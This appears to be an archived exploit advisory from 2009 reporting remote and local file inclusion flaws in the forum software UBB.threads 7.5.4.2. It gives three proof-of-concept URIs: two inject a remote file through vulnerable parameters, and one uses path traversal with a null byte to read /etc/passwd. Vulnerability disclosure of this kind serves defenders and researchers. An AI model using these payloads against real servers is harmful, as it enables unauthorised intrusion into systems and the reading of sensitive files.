UBB.threads 7.5.4 2 Multiple File Inclusion Vulnerabilities

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : UBB.threads 7.5.4 2 Multiple File Inclusion Vulnerabilities
# Published : 2009-12-04
# Author : R3VAN_BASTARD
# Previous Title : Invision Power Board <= 3.0.4 LFI and <=3.0.4 and <=2.3.6 SQL Injection
# Next Title : Achievo 1.4.2 Permanent Cross-Site Scripting

UBBCentral: http://www.ubbcentral.com/

UBB.threads is prone to multiple file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to compromise the application and the computer; other attacks are also possible.

UBB.threads 7.5.4.2 is vulnerable; other versions may also be affected. 

POC:
An attacker can exploit these issues via a browser.

The following example URIs are available:

http://server/path/ubb/libs/smarty/Smarty_Compiler.class.php?_plugins_params=[RFI]
http://server/path/ubb/libs/html.inc.php?[USER_LANGUAGE]=[RFI]
http://server/path/ubb/ubbthreads.php?file=../../../../../../../../etc/passwd%00